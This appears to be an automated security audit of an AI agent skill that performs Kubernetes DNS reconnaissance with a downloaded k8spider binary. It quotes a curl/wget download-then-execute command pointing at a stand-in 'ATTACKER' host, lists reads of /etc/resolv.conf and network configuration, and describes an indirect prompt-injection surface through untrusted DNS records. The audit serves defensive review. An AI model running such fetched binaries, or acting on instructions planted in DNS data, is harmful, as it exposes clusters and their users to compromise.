Full Analysis
- [EXTERNAL_DOWNLOADS]: The skill provides instructions to download a binary from external URLs using
curlandwget. Specifically, it includes examples likecurl -o /tmp/k8spider https://ATTACKER/k8spiderandwget -O /tmp/k8spider URL. - [REMOTE_CODE_EXECUTION]: Following the downloads, the skill instructs the user to grant execution permissions (
chmod +x) and run the downloaded binary. This download-then-execute pattern is a high-risk activity that can lead to arbitrary code execution. - [COMMAND_EXECUTION]: The skill executes several system commands to gather sensitive network configuration details, including
ip addr,ip route, and reading/etc/resolv.conf. It also invokes thek8spiderbinary with various flags to perform DNS probing and reconnaissance. - [INDIRECT_PROMPT_INJECTION]: The skill possesses a surface for indirect prompt injection as it ingests untrusted data from the Kubernetes cluster's DNS environment.
- Ingestion points: The skill reads DNS records (PTR, SRV, AXFR) from the cluster's DNS server (SKILL.md).
- Boundary markers: There are no explicit delimiters or warnings to ignore malicious instructions that might be embedded in DNS records.
- Capability inventory: The skill can execute shell commands (
ip,cat,nslookup,dig) and a downloaded binary (SKILL.md). - Sanitization: No evidence of sanitization or validation of the DNS responses before they are processed or presented to the agent.
